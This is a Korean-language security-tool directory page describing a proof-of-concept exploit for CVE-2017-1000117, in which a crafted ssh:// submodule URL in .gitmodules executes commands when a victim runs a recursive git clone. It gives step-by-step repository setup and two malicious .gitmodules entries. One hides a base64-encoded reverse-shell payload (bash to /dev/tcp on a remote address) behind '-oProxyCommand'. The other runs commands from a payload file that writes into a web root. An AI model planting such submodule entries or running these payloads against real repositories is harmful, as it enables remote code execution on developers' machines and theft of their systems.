Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-1000117 — CVE-2017-1000117에 대한 PoC 익스플로잇: 악성 git 서브모듈 SSH URL을 통한 원격 코드 실행으로, 재귀적 클론 작업 중 리버스 셸 페이로드 전달을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/leezp/cve-2017-1000117
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubleezp/cve-2017-1000117

CVE-2017-1000117

CVE-2017-1000117에 대한 PoC 익스플로잇: 악성 git 서브모듈 SSH URL을 통한 원격 코드 실행으로, 재귀적 클론 작업 중 리버스 셸 페이로드 전달을 가능하게 합니다.

저장소 보기
17년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-1000117

악의적인 공격자는 교묘하게 구성된 "ssh://..." 링크를 통해 피해자가 프로그램 실행 등의 상황에서 해당 악성 링크에 접속하도록 하여 명령 실행을 달성할 수 있습니다. 이 링크는 git 프로젝트의 .gitmodules 파일에 배치될 수 있습니다. 이렇게 하면 피해자가 프로젝트에 대해 git clone --recurse-submodules / git clone --recursive 작업을 수행할 때 보안 문제가 발생합니다.

준비 작업:

리눅스 명령줄에 입력

root@kitploit:~
printf 'a' >> /tmp/pwned.txt

tmp 디렉토리에 pwned.txt가 생성되었고 내용은 a입니다.

root@kitploit:~
git init

git remote add origin  https://github.com/leezp/CVE-2017-1000117.git

git pull origin master

git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1

([submodule "sub1"]
 	path = sub1
 	url = https://github.com/leezp/CVE-2017-1000117.git
// 두 개의 서브모듈 디렉토리 sub1과 name2가 생성됨)

git submodule add https://github.com/leezp/CVE-2017-1000117.git name2

git add .

git commit -m '1'

git push -u origin master

두 가지 제작 방식이 있습니다:

첫 번째: .gitmodules 파일을 열고 내용을 수정합니다(첫 번째만 수정하면 됩니다. 첫 번째 submodule의 exp만 실행되기 때문입니다. 여기서 2개를 만드는 이유는 때로는 하나만 만들면 실행되지 않기 때문이며, 구체적인 원인은 아직 많이 연구하지 않았습니다).

root@kitploit:~
[submodule "name1"]

	path = name1
   	url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
	
[submodule "sub2"]	

	path = sub2	
	url = https://github.com/leezp/CVE-2017-1000117.git

(구체적으로 .gitmodules.bak1 파일 참조)

첫 번째 방식은 payload 파일이 필요 없습니다.


두 번째 방식: .gitmodules 파일을 열고 내용을 수정합니다(첫 번째만 수정).

root@kitploit:~
[submodule "sub1"]

	path = sub1
	url = ssh://-oProxyCommand=sh<payload/wat
	
[submodule "name2"]

	path = name2
	url = https://github.com/leezp/CVE-2017-1000117.git

(구체적으로 .gitmodules 파일 참조)

이 방식은 payload 파일과 결합해야 하며, payload 파일에 다음을 입력합니다:

root@kitploit:~
printf 'sss' > /var/www/html/vul

참고 git clone 방식은 다음 두 가지 중 하나여야 합니다:

root@kitploit:~
git clone --recursive url
git clone --recurse-submodules  url

git clone을 사용하면 정상적으로 다운로드만 되고 추가 파일이 생성되지 않으므로, 취약점 트리거 조건이 비교적 까다롭습니다.

도구 다운로드